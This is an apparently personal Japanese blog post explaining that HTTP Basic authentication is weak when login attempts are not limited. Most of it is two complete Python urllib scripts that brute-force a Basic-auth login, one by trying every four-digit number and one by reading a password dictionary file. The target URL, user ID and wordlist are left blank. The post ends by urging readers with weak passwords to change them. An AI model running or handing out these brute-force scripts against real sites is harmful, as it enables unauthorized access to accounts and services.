PythonでBasic認証に総当り攻撃
Basic認証って?
WebページにアクセスするときにIDとパスワードを求められるあれですよ.
Basic認証弱すぎじゃね?
Basic認証は,設定次第でアクセス試行回数を制限できるんですが,みんながそんなことをやっているわけではないので(てか,やってないほうが多い気がする),すぐ破られちゃいます.
Pythonで総当り攻撃
というわけで,プログラムを書いてみたんですが,めちゃくちゃ簡単に書くことができます.
で,その書いたプログラムというのがこちらです. (上が数字4桁,下が辞書ファイルを使ったもの)
#数字4桁の総当たり攻撃 import urllib.request def attack_basic(url,user_id): for password in range(1,10000): password = str(password) try: pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm() pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password) handler = urllib.request.HTTPBasicAuthHandler(pass_mgr) opener = urllib.request.build_opener(handler) urllib.request.install_opener(opener) urllib.request.urlopen(url) print("%s is correct!" % password) except urllib.request.HTTPError as err: print("%s is incorrect" % password) if __name__ == '__main__': url = "" user_id = "" attack_basic(url,user_id)
#辞書ファイルを使った総当たり攻撃 import urllib.request def attack_basic(url,user_id): f = open("","r") passlist=f.read().splitlines() for password in passlist: try: pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm() pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password) handler = urllib.request.HTTPBasicAuthHandler(pass_mgr) opener = urllib.request.build_opener(handler) urllib.request.install_opener(opener) urllib.request.urlopen(url) print("%s is correct!" % password) except urllib.request.HTTPError as err: print("%s is incorrect" % password) if __name__ == '__main__': url = "" user_id = "" attack_basic(url,user_id)
ピンときた人は!
すぐ変えてください. 私程度のワナビーにパスワードを破られるようじゃお話になりません.